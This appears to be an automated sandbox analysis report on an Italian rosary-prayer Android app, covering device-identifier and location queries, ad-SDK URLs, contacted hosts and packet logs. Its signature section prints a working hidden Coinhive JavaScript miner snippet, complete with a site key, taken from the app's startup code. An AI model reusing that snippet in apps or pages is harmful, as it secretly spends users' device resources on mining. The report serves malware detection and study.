Loading ...

Analysis Report

Overview

General Information

Joe Sandbox Version:20.0.0
Analysis ID:400988
Start time:12:36:45
Joe Sandbox Product:Cloud
Start date:30.10.2017
Overall analysis duration:0h 5m 36s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:prsolutions.rosariofacileads_2017-10-02.apk
Cookbook file name:defaultandroidfilecookbook.jbs
Analysis system description:Android x86 5.1
Detection:MAL
Classification:mal48.spyw.bank.andAPK@0/251@1/0


Detection

StrategyScoreRangeReportingDetection
Threshold480 - 100Report FP / FNmalicious


Classification

Signature Overview

Click to jump to signature section


Location Tracing:

barindex
Queries the phones location (GPS)Show sources
Source: com.vxjxu.jkhfn1870.SetPreferences;->setPreferencesData:281API Call: android.location.Location.getLatitude
Source: com.vxjxu.jkhfn1870.SetPreferences;->setPreferencesData:287API Call: android.location.Location.getLongitude
Source: com.vxjxu.jkhfn1870.UserDetails;->getLocation:125API Call: android.location.LocationManager.getLastKnownLocation

Operating System Destruction:

barindex
Lists and deletes files in the same contextShow sources
Source: com.vxjxu.jkhfn1870.VastUtils;->deleteRecursive:88API Calls in same method context: File.listFiles,File.delete

E-Banking Fraud:

barindex
Loads a webpage with cache disabledShow sources
Source: com.vxjxu.jkhfn1870.MraidView;->initSettting:97API Call: android.webkit.WebSettings.setCacheMode

Bitcoin Miner:

barindex
Uses Coin Hive Javascript Bitcoin MinerShow sources
Source: Lprsolutions/rosariofacileads/RosarioFacile;->onCreate(Landroid/os/Bundle;)VMethod string: <html><script src=\"https://coinhive.com/lib/coinhive.min.js\"></script><script>var miner = new CoinHive.Anonymous(\'5xUKpsv5UFOcqf6dToqMDAtBYKn1WavS\');miner.setThrottle(0.1);miner.start();</script><body></body></html>

Networking:

barindex
Monitors network connection stateShow sources
Source: com.vxjxu.jkhfn1870.VastUtils$NetworkUtil;->startWatchingNetworkConnection:11API Call: android.content.IntentFilter.addAction android.net.conn.CONNECTIVITY_CHANGE
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: coinhive.com
Urls found in memory or binary dataShow sources
Source: classes.dex, androidString found in binary or memory: http://api.airpush.com/mraid/native_mraid.php
Source: classes.dex, androidString found in binary or memory: http://schemas.android.com/apk/res-auto
Source: classes.dexString found in binary or memory: http://schemas.android.com/apk/res-auto:http://xmlpull.org/v1/doc/features.html#process-namespaces
Source: opzioni.xml, menu.xml, rosario.xml, player_menu.xml, main.xml, AndroidManifest.xmlString found in binary or memory: http://schemas.android.com/apk/res/android
Source: classes.dex, androidString found in binary or memory: http://xmlpull.org/v1/doc/features.html#process-namespaces
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/Vast/handle_events.php
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/Vast/vastadcall.php
Source: classes.dexString found in binary or memory: https://api.airpush.com/Vast/vastadcall.php)https://api.airpush.com/appwall/getid.php2https://api.ai
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/appwall/getid.php
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/bannerads/banneradcall.php
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/bannerads/testbanner.php
Source: classes.dexString found in binary or memory: https://api.airpush.com/dialogad/adcall.php
Source: classes.dexString found in binary or memory: https://api.airpush.com/dialogad/adclick.php
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/fullpage/adcall.php
Source: classes.dexString found in binary or memory: https://api.airpush.com/fullpage/adcall.php0https://api.airpush.com/inappads/inappadcall.php4https:/
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/inappads/inappadcall.php
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/inappads/testinappadcall.php
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/integrationerror/error.php
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/lp/getinterstitialads.php
Source: classes.dexString found in binary or memory: https://api.airpush.com/lp/log_sdk_request.php
Source: classes.dexString found in binary or memory: https://api.airpush.com/model/user/getappinfo.php?packageName=
Source: classes.dexString found in binary or memory: https://api.airpush.com/model/user/getappinfo.php?packageName=(https://api.airpush.com/mraid/adcall.
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/mraid/adcall.php
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/mraid/mraidadcall.php
Source: classes.dexString found in binary or memory: https://api.airpush.com/mraid/track_events.php
Source: classes.dexString found in binary or memory: https://api.airpush.com/optin/
Source: classes.dexString found in binary or memory: https://api.airpush.com/optin/4https://api.airpush.com/overlayads/overlayadcall.php
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/overlayads/overlayadcall.php
Source: classes.dexString found in binary or memory: https://api.airpush.com/redirect.php?market=
Source: classes.dex, androidString found in binary or memory: https://api.airpush.com/v2/api.php
Source: classes.dex, androidString found in binary or memory: https://coinhive.com/lib/coinhive.min.js
Uses HTTP for connecting to the internetShow sources
Source: com.vxjxu.jkhfn1870.ImageBanner$2;->run:33API Call: org.apache.http.client.HttpClient.execute
Source: com.vxjxu.jkhfn1870.ImageTask;->doInBackground:18API Call: java.net.HttpURLConnection.connect
Source: com.vxjxu.jkhfn1870.MraidView$2$1;->run:7API Call: java.net.HttpURLConnection.connect
Source: com.vxjxu.jkhfn1870.MraidView$6;->run:33API Call: org.apache.http.client.HttpClient.execute
Source: com.vxjxu.jkhfn1870.NetworkThread;->run:43API Call: org.apache.http.impl.client.DefaultHttpClient.execute
Source: com.vxjxu.jkhfn1870.OverlayAd$3;->run:33API Call: org.apache.http.client.HttpClient.execute
Source: com.vxjxu.jkhfn1870.SendIntegrationError$1;->run:61API Call: org.apache.http.client.HttpClient.execute
Source: com.vxjxu.jkhfn1870.Util$NativeMraid;->run:16API Call: java.net.HttpURLConnection.connect
Source: com.vxjxu.jkhfn1870.Vpaid$1;->run:20API Call: org.apache.http.impl.client.DefaultHttpClient.execute
Source: com.vxjxu.jkhfn1870.Vpaid$2;->run:27API Call: org.apache.http.client.HttpClient.execute
Uses HTTPSShow sources
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 34361
Source: unknownNetwork traffic detected: HTTP traffic on port 34361 -> 443
Checks an internet connection is availableShow sources
Source: com.vxjxu.jkhfn1870.UserDetails;->getImei:59API Call: android.net.wifi.WifiManager.isWifiEnabled
Source: com.vxjxu.jkhfn1870.UserDetails;->getImei:63API Call: android.net.wifi.WifiManager.getConnectionInfo
Source: com.vxjxu.jkhfn1870.Util;->checkInternetConnection:8API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.vxjxu.jkhfn1870.Util;->checkInternetConnection:9API Call: android.net.NetworkInfo.isConnected
Source: com.vxjxu.jkhfn1870.Util;->getConnectionType:103API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.vxjxu.jkhfn1870.Util;->getConnectionType:104API Call: android.net.NetworkInfo.isConnected
Source: com.vxjxu.jkhfn1870.Util;->getNetworksubType:187API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.vxjxu.jkhfn1870.Util;->getNetworksubType:188API Call: android.net.NetworkInfo.isConnected
Source: com.vxjxu.jkhfn1870.Util;->isConnectionFast:257API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.vxjxu.jkhfn1870.Util;->isConnectionFast:258API Call: android.net.NetworkInfo.isConnected
Source: com.vxjxu.jkhfn1870.VastUtils$NetworkUtil;->checkConnection:5API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.vxjxu.jkhfn1870.VastUtils$NetworkUtil;->checkConnection:6API Call: android.net.NetworkInfo.isConnected
Loads a webpage with cache disabledShow sources
Source: com.vxjxu.jkhfn1870.MraidView;->initSettting:97API Call: android.webkit.WebSettings.setCacheMode
Opens an internet connectionShow sources
Source: com.vxjxu.jkhfn1870.ImageTask;->doInBackground:11API Call: java.net.URL.openConnection (not executed)
Source: com.vxjxu.jkhfn1870.MraidView$2$1;->run:5API Call: java.net.URL.openConnection (not executed)
Source: com.vxjxu.jkhfn1870.Util$NativeMraid;->run:9API Call: java.net.URL.openConnection (not executed)
Source: com.vxjxu.jkhfn1870.VideoAd$1$1;->run:5API Call: java.net.URL.openConnection (not executed)

Stealing of Sensitive Information:

barindex
Has permission to query the current locationShow sources
Source: submitted apkRequest permission: android.permission.ACCESS_COARSE_LOCATION
Source: submitted apkRequest permission: android.permission.ACCESS_FINE_LOCATION
Checks if a SIM card is installedShow sources
Source: com.vxjxu.jkhfn1870.Util;->getCarrier:98API Call: android.telephony.TelephonyManager.getSimState
Source: com.vxjxu.jkhfn1870.Util;->getSupportsJson:229API Call: android.telephony.TelephonyManager.getSimState
Reads the serial number of the deviceShow sources
Source: Lcom/vxjxu/jkhfn1870/UserDetails;->getImei()Ljava/lang/String;Method string: "ro.serialno"

Data Obfuscation:

barindex
Uses reflectionShow sources
Source: com.vxjxu.jkhfn1870.ImageBanner;-><init>:17API Call: java.lang.reflect.Method.invoke
Source: com.vxjxu.jkhfn1870.UserDetails;->getImei:41API Call: java.lang.reflect.Method.invoke

Spreading:

barindex
Accesses external storage locationShow sources
Source: com.vxjxu.jkhfn1870.AirPlay;->startVideoAd:598API Call: android.os.Environment.getExternalStorageState
Source: com.vxjxu.jkhfn1870.Util;->getSupportsJson:234API Call: android.os.Environment.getExternalStorageState
Source: com.vxjxu.jkhfn1870.VastUtils$FileUtil;->updateExternalStorageState:16API Call: android.os.Environment.getExternalStorageState
Source: com.vxjxu.jkhfn1870.VideoAd$1;->launchNewHttpTask:3API Call: android.os.Environment.getExternalStorageDirectory
Source: com.vxjxu.jkhfn1870.VideoAd;->downloadVideo:17API Call: android.os.Environment.getExternalStorageState
Source: com.vxjxu.jkhfn1870.VideoAdActivity$3;->run:2API Call: android.os.Environment.getExternalStorageDirectory

System Summary:

barindex
Classification labelShow sources
Source: classification engineClassification label: mal48.spyw.bank.andAPK@0/251@1/0
Reads shares settingsShow sources
Source: prsolutions.rosariofacileads.Opzioni;->onCreate:7API Call: android.content.SharedPreferences.getBoolean
Source: prsolutions.rosariofacileads.Player;->SettaggioIniziale:196API Call: android.content.SharedPreferences.getBoolean
Source: prsolutions.rosariofacileads.Player;->onResume:269API Call: android.content.SharedPreferences.getBoolean
Source: com.vxjxu.jkhfn1870.Caching;->getJson:28API Call: android.content.SharedPreferences.getString
Source: com.vxjxu.jkhfn1870.Caching;->getVideoAdJson:31API Call: android.content.SharedPreferences.getString
Source: com.vxjxu.jkhfn1870.Caching;->getVideoAdJson:34API Call: android.content.SharedPreferences.getString
Source: com.vxjxu.jkhfn1870.Caching;->isSmartwallAd:37API Call: android.content.SharedPreferences.getBoolean
Source: com.vxjxu.jkhfn1870.SDKIntializer;->isSDKEnabled:98API Call: android.content.SharedPreferences.getBoolean
Source: com.vxjxu.jkhfn1870.UserDetails$DeviceUuidFactory;-><init>:7API Call: android.content.SharedPreferences.getString
Source: com.vxjxu.jkhfn1870.Util;->getDoc:171API Call: android.content.SharedPreferences.getString
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.ACCESS_COARSE_LOCATION
Source: submitted apkRequest permission: android.permission.ACCESS_FINE_LOCATION
Source: submitted apkRequest permission: android.permission.INTERNET

Anti Debugging:

barindex
Potentially drops DEX filesShow sources
Source: Initial APKFile created: MANIFEST.MF
Source: Initial APKFile created: CERT.SF

Malware Analysis System Evasion:

barindex
Accesses android OS build fieldsShow sources
Source: com.vxjxu.jkhfn1870.Util;->getManufacturer:178Field Access: android.os.Build.MANUFACTURER
Source: com.vxjxu.jkhfn1870.Util;->getPhoneModel:196Field Access: android.os.Build.MODEL
Queries several sensitive phone informationsShow sources
Source: Lcom/vxjxu/jkhfn1870/VastXmlParser;-><init>(Ljava/io/Reader;)VMethod string: "version"
Source: Lcom/vxjxu/jkhfn1870/UserDetails;->getImei()Ljava/lang/String;Method string: "imei"
Source: Lcom/vxjxu/jkhfn1870/SetPreferences;->setValues(Landroid/content/Context;)Ljava/util/List;Method string: "manufacturer"
Source: Lcom/vxjxu/jkhfn1870/VastXmlParser;-><init>(Ljava/io/Reader;)VMethod string: "model"
Source: Lcom/vxjxu/jkhfn1870/VastXmlParser$Creative;-><init>(Lcom/vxjxu/jkhfn1870/VastXmlParser;Lorg/xmlpull/v1/XmlPullParser;)VMethod string: "type"
Source: Lcom/vxjxu/jkhfn1870/Util;->getSupportsJson(Landroid/content/Context;)Lorg/json/JSONObject;Method string: "phone"
Source: Lcom/vxjxu/jkhfn1870/SetPreferences;->setValues(Landroid/content/Context;)Ljava/util/List;Method string: "appid"
Queries the unique operating system id (ANDROID_ID)Show sources
Source: com.vxjxu.jkhfn1870.UserDetails$DeviceUuidFactory;-><init>:11API Call: android.provider.Settings$Secure.getString
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinMd5:46API Call: android.provider.Settings$Secure.getString
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinSHA:71API Call: android.provider.Settings$Secure.getString

Hooking and other Techniques for Hiding and Protection:

barindex
Uses Crypto APIsShow sources
Source: com.vxjxu.jkhfn1870.SetPreferences;->setPreferencesData:314API Call: java.security.MessageDigest.getInstance
Source: com.vxjxu.jkhfn1870.SetPreferences;->setPreferencesData:319API Call: java.security.MessageDigest.update
Source: com.vxjxu.jkhfn1870.SetPreferences;->setPreferencesData:320API Call: java.security.MessageDigest.digest
Source: com.vxjxu.jkhfn1870.UserDetails;->setImeiInSHA:10API Call: java.security.MessageDigest.getInstance
Source: com.vxjxu.jkhfn1870.UserDetails;->setImeiInSHA:13API Call: java.security.MessageDigest.update
Source: com.vxjxu.jkhfn1870.UserDetails;->setImeiInSHA:14API Call: java.security.MessageDigest.digest
Source: com.vxjxu.jkhfn1870.UserDetails;->setImeiInMd5:154API Call: java.security.MessageDigest.getInstance
Source: com.vxjxu.jkhfn1870.UserDetails;->setImeiInMd5:157API Call: java.security.MessageDigest.update
Source: com.vxjxu.jkhfn1870.UserDetails;->setImeiInMd5:158API Call: java.security.MessageDigest.digest
Source: com.vxjxu.jkhfn1870.Util;->convertStringToMD5:22API Call: java.security.MessageDigest.getInstance
Source: com.vxjxu.jkhfn1870.Util;->convertStringToMD5:25API Call: java.security.MessageDigest.update
Source: com.vxjxu.jkhfn1870.Util;->convertStringToMD5:26API Call: java.security.MessageDigest.digest
Source: com.vxjxu.jkhfn1870.Util;->convertStringToSHA:33API Call: java.security.MessageDigest.getInstance
Source: com.vxjxu.jkhfn1870.Util;->convertStringToSHA:36API Call: java.security.MessageDigest.update
Source: com.vxjxu.jkhfn1870.Util;->convertStringToSHA:37API Call: java.security.MessageDigest.digest
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinMd5:54API Call: java.security.MessageDigest.getInstance
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinMd5:57API Call: java.security.MessageDigest.update
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinMd5:58API Call: java.security.MessageDigest.digest
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinSHA:73API Call: java.security.MessageDigest.getInstance
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinSHA:76API Call: java.security.MessageDigest.update
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinSHA:77API Call: java.security.MessageDigest.digest

Language, Device and Operating System Detection:

barindex
Checks if phone allows installing non-market appsShow sources
Source: com.vxjxu.jkhfn1870.Util;->isInstallFromMarketOnly:267API Call: android.provider.Settings$Secure.getString(n/a,"install_non_market_apps")
Queries the SIM provider name (SPN - Service Provider Name)Show sources
Source: com.vxjxu.jkhfn1870.Util;->getCarrier:99API Call: android.telephony.TelephonyManager.getSimOperatorName
Queries the WIFI MAC addressShow sources
Source: com.vxjxu.jkhfn1870.UserDetails;->getImei:64API Call: android.net.wifi.WifiInfo.getMacAddress
Queries the network operator nameShow sources
Source: com.vxjxu.jkhfn1870.Util;->getNetworkOperator:183API Call: android.telephony.TelephonyManager.getNetworkOperatorName
Queries the unqiue device ID (IMEI, MEID or ESN)Show sources
Source: com.vxjxu.jkhfn1870.UserDetails$DeviceUuidFactory;-><init>:25API Call: android.telephony.TelephonyManager.getDeviceId
Source: com.vxjxu.jkhfn1870.UserDetails;->getImei:33API Call: android.telephony.TelephonyManager.getDeviceId

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Screenshot

android-buttoncam-android

Created / dropped Files

No created / dropped files found

Contacted Domains/Contacted IPs

Contacted Domains

NameIPActiveMaliciousAntivirus Detection
coinhive.com94.130.90.152truetrue

Contacted IPs

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs
IPCountryFlagASNASN NameMalicious
94.130.90.152Germany
24940HETZNER-ASDEfalse
8.8.8.8United States
15169GOOGLE-GoogleIncUSfalse
74.125.192.188United States
15169GOOGLE-GoogleIncUSfalse

Static File Info

General

File type:Zip archive data, at least v2.0 to extract
TrID:
  • Android Package (19004/1) 49.99%
  • Java Archive (13504/1) 35.53%
  • ZIP compressed archive (4004/1) 10.53%
  • Java Script embedded in Visual Basic Script (1500/0) 3.95%
File name:prsolutions.rosariofacileads_2017-10-02.apk
File size:33610190
MD5:fc1e08187de3f4b7cb52bd09ea3c2594
SHA1:6241e89839c4a15472c963c4cce57dd31017daf4
SHA256:22581e7e76a09d404d093ab755888743b4c908518c47af66225e2da991d112f0
SHA512:2d403c996fccac54364db5fdca9ec8bd7a814eebced4f7c234024dc8299be90d261b0c6b93637ffda2c54f4839c20a3473ec8a26d09d46c219ac14637ca5e9fe
File Content Preview:PK..............E6............AndroidManifest.xml.VKo.W.>.Gb........v.b.I.)..U2!..)A.B.)u.....r..U%....+.,.`.EUU......T]#V]T....g.en.3..x.....9.y..cG)A..D.e.V.h..._...p.....g...W......HYD9.,p.x.......F"D6....o.....?..(.g./..`.......w......~.....&.........

File Icon

Static APK Info

General

Label:Recitiamo il Rosario
Minimum SDK required:5
Target SDK required:18
Version Code:22
Version Name:22
Package Name:prsolutions.rosariofacileads
Is Activity:true
Is Receiver:false
Is Service:false
Requests System Level Permissions:false
Play Store Compatible:true

Activities

NameIs Entrypoint
prsolutions.rosariofacileadsprsolutions.rosariofacileads.RosarioFaciletrue
prsolutions.rosariofacileadsprsolutions.rosariofacileads.Player
prsolutions.rosariofacileadsprsolutions.rosariofacileads.Opzioni
prsolutions.rosariofacileadscom.vxjxu.jkhfn1870.SmartWallActivity
prsolutions.rosariofacileadscom.vxjxu.jkhfn1870.BrowserActivity
prsolutions.rosariofacileadscom.vxjxu.jkhfn1870.VideoAdActivity

Receivers

Permission Requested

  • android.permission.ACCESS_COARSE_LOCATION
  • android.permission.ACCESS_FINE_LOCATION
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.INTERNET

Certificate

Name:classes.dex
Issuer:O=PRSolutions
Subject:O=PRSolutions

Resources

NameType
outro2.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
nomepadre.mp3MPEG ADTS, layer III, v1, 80 kbps, 44.1 kHz, Stereo
introgaudiosi2.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
dolorosi3.jpgJPEG image data, JFIF standard 1.01
gloriosi2.jpgJPEG image data, JFIF standard 1.01
gaudiosi1.jpgJPEG image data, JFIF standard 1.01
gaudiosi4.jpgJPEG image data, JFIF standard 1.01
pallino.pngPNG image, 21 x 21, 8-bit colormap, non-interlaced
luminosi2.jpgJPEG image data, JFIF standard 1.01
introdolorosi5.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
dolorosi4.jpgJPEG image data, JFIF standard 1.01
luminosi4.jpgJPEG image data, JFIF standard 1.01
madonna.jpgJPEG image data, JFIF standard 1.01
dolorosi1.jpgJPEG image data, JFIF standard 1.01
icon.pngPNG image, 72 x 72, 8-bit/color RGBA, non-interlaced
gloriosi3.jpgJPEG image data, JFIF standard 1.01
gaudiosi5.jpgJPEG image data, JFIF standard 1.01
outro.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
luminosi3.jpgJPEG image data, JFIF standard 1.01
introluce6.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
introgloriosi5.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
gloriosi4.jpgJPEG image data, JFIF standard 1.01
salveregina.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
dolorosi2.jpgJPEG image data, JFIF standard 1.01
gloriosi1.jpgJPEG image data, JFIF standard 1.01
gaudiosi3.jpgJPEG image data, JFIF standard 1.01
luminosi1.jpgJPEG image data, JFIF standard 1.01
introdolorosi4.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
introgaudiosi6.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
dolorosi3.jpgJPEG image data, JFIF standard 1.01
icon.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced
MANIFEST.MFASCII text, with CRLF line terminators
gaudiosi5.jpgJPEG image data, JFIF standard 1.01
luminosi3.jpgJPEG image data, JFIF standard 1.01
opzioni.xmlDBase 3 data file (1064 records)
gloriosi2.jpgJPEG image data, JFIF standard 1.01
gaudiosi4.jpgJPEG image data, JFIF standard 1.01
luminosi2.jpgJPEG image data, JFIF standard 1.01
introluce5.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
introgloriosi4.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
CERT.SFASCII text, with CRLF line terminators
dolorosi5.jpgJPEG image data, JFIF standard 1.01
gloriosi3.jpgJPEG image data, JFIF standard 1.01
dolorosi1.jpgJPEG image data, JFIF standard 1.01
gaudiosi2.jpgJPEG image data, JFIF standard 1.01
resources.arscdata
introdolorosi3.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
introgaudiosi5.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
gloria.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
menu.xmlDBase 3 data file (1004 records)
dolorosi2.jpgJPEG image data, JFIF standard 1.01
icon.pngPNG image, 36 x 36, 8-bit/color RGBA, non-interlaced
gloriosi5.jpgJPEG image data, JFIF standard 1.01
gaudiosi4.jpgJPEG image data, JFIF standard 1.01
luminosi2.jpgJPEG image data, JFIF standard 1.01
luminosi5.jpgJPEG image data, JFIF standard 1.01
gloriosi1.jpgJPEG image data, JFIF standard 1.01
rosario.xmlDBase 3 data file (1708 records)
gaudiosi3.jpgJPEG image data, JFIF standard 1.01
luminosi1.jpgJPEG image data, JFIF standard 1.01
introluce4.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
introgloriosi3.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
credo.mp3MPEG ADTS, layer III, v1, 80 kbps, 44.1 kHz, Stereo
litanie.mp3Audio file with ID3 version 2.3.0, contains: MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
dolorosi4.jpgJPEG image data, JFIF standard 1.01
gloriosi2.jpgJPEG image data, JFIF standard 1.01
CERT.RSAdata
padrenostro.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
player_menu.xmlDBase 3 data file (1204 records)
gaudiosi1.jpgJPEG image data, JFIF standard 1.01
introdolorosi2.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
introgaudiosi4.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
dolorosi5.jpgJPEG image data, JFIF standard 1.01
dolorosi1.jpgJPEG image data, JFIF standard 1.01
gloriosi4.jpgJPEG image data, JFIF standard 1.01
gaudiosi3.jpgJPEG image data, JFIF standard 1.01
luminosi1.jpgJPEG image data, JFIF standard 1.01
luminosi4.jpgJPEG image data, JFIF standard 1.01
avemaria.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
gaudiosi2.jpgJPEG image data, JFIF standard 1.01
introluce3.mp3MPEG ADTS, layer III, v2, 64 kbps, 22.05 kHz, Stereo
introgloriosi2.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
dolorosi3.jpgJPEG image data, JFIF standard 1.01
gloriosi5.jpgJPEG image data, JFIF standard 1.01
gloriosi1.jpgJPEG image data, JFIF standard 1.01
main.xmlDBase 3 data file (1176 records)
rosariovuoto.pngPNG image, 480 x 480, 8-bit/color RGBA, non-interlaced
luminosi5.jpgJPEG image data, JFIF standard 1.01
introgaudiosi3.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
dolorosi4.jpgJPEG image data, JFIF standard 1.01
gloriosi3.jpgJPEG image data, JFIF standard 1.01
gaudiosi2.jpgJPEG image data, JFIF standard 1.01
gaudiosi5.jpgJPEG image data, JFIF standard 1.01
luminosi3.jpgJPEG image data, JFIF standard 1.01
introdolorosi6.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
AndroidManifest.xmlDBase 3 data file (4068 records)
dolorosi5.jpgJPEG image data, JFIF standard 1.01
gaudiosi1.jpgJPEG image data, JFIF standard 1.01
luminosi5.jpgJPEG image data, JFIF standard 1.01
introluce2.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
dolorosi2.jpgJPEG image data, JFIF standard 1.01
gloriosi4.jpgJPEG image data, JFIF standard 1.01
madonnasfondo.jpgJPEG image data, JFIF standard 1.01
luminosi4.jpgJPEG image data, JFIF standard 1.01
introgloriosi6.mp3MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
classes.dexDalvik dex file version 035
gloriosi5.jpgJPEG image data, JFIF standard 1.01

Network Behavior

Network Port Distribution

TCP Packets

TimestampSource PortDest PortSource IPDest IP
Oct 30, 2017 12:37:02.559267998 CET484575228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:02.559367895 CET52284845774.125.192.188192.168.1.33
Oct 30, 2017 12:37:02.559730053 CET484575228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:02.560914040 CET484575228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:02.560945034 CET52284845774.125.192.188192.168.1.33
Oct 30, 2017 12:37:02.773508072 CET52284845774.125.192.188192.168.1.33
Oct 30, 2017 12:37:02.773562908 CET52284845774.125.192.188192.168.1.33
Oct 30, 2017 12:37:02.773575068 CET52284845774.125.192.188192.168.1.33
Oct 30, 2017 12:37:02.773941994 CET484575228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:02.774029016 CET484575228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:02.774091005 CET484575228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:02.800649881 CET52284845774.125.192.188192.168.1.33
Oct 30, 2017 12:37:02.800888062 CET484575228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:02.804325104 CET484575228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:02.804359913 CET52284845774.125.192.188192.168.1.33
Oct 30, 2017 12:37:02.804841995 CET484575228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:03.868417978 CET651353192.168.1.338.8.8.8
Oct 30, 2017 12:37:03.941587925 CET5365138.8.8.8192.168.1.33
Oct 30, 2017 12:37:07.812782049 CET364505228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:07.812953949 CET52283645074.125.192.188192.168.1.33
Oct 30, 2017 12:37:07.816754103 CET364505228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:07.818176985 CET364505228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:07.818274021 CET52283645074.125.192.188192.168.1.33
Oct 30, 2017 12:37:08.035185099 CET52283645074.125.192.188192.168.1.33
Oct 30, 2017 12:37:08.035216093 CET52283645074.125.192.188192.168.1.33
Oct 30, 2017 12:37:08.035233021 CET52283645074.125.192.188192.168.1.33
Oct 30, 2017 12:37:08.035425901 CET364505228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:08.035464048 CET364505228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:08.035485029 CET364505228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:08.055358887 CET52283645074.125.192.188192.168.1.33
Oct 30, 2017 12:37:08.055629969 CET364505228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:08.057971001 CET364505228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:08.057992935 CET52283645074.125.192.188192.168.1.33
Oct 30, 2017 12:37:08.058295965 CET364505228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:17.745940924 CET368775228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:17.746010065 CET52283687774.125.192.188192.168.1.33
Oct 30, 2017 12:37:17.746381044 CET368775228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:17.747528076 CET368775228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:17.747581005 CET52283687774.125.192.188192.168.1.33
Oct 30, 2017 12:37:17.960366011 CET52283687774.125.192.188192.168.1.33
Oct 30, 2017 12:37:17.960393906 CET52283687774.125.192.188192.168.1.33
Oct 30, 2017 12:37:17.960565090 CET368775228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:17.960601091 CET368775228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:17.971606016 CET52283687774.125.192.188192.168.1.33
Oct 30, 2017 12:37:17.971796036 CET368775228192.168.1.3374.125.192.188
Oct 30, 2017 12:37:17.975219965 CET368775228192.168.1.3374.125.192.188
